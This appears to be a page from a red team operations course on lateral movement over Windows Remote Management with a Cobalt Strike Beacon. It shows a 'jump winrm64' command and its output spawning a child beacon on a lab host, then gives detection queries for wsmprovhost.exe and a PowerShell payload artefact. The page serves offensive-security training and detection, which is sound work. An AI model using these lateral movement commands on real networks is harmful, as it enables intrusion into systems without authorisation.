> For the complete documentation index, see [llms.txt](https://yamortsa.gitbook.io/rto/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yamortsa.gitbook.io/rto/lateral-movement/windows-remote-management.md).

# Windows Remote Management

The `winrm` and `winrm64` methods can be used for 32 and 64-bit targets as appropriate.

The SMB Beacon is an excellent choice when moving laterally, because the SMB protocol is used extensively in a Windows environment, so this traffic blends in very well.

```
beacon> jump winrm64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web.dev.cyberbotic.io via WinRM
[+] host called home, sent: 225172 bytes
[+] established link to child beacon: 10.10.122.30
```

\\

WinRM will return a high integrity Beacon running as the user with which you're interacting with the remote machine as.

\\

![](https://files.cdn.thinkific.com/file_uploads/584845/images/6cb/6b3/c14/winrm.png)

\\

This new Beacon will be running inside `wsmprovhost.exe`, which is the "Host process for WinRM plug-ins". This is used whenever WinRM is used, legitimate or otherwise. You can search for process start events, but this will produce a lot of false positives if WinRM is being used legitimately by system administrators.

```
event.category: process and event.type: start and process.name: wsmprovhost.exe
```

\\

The most likely means of identifying this lateral movement is by searching PowerShell script block logs for known payload artefacts.

```
event.category: process and powershell.file.script_block_text: "$var_runme.Invoke([IntPtr]::Zero)"
```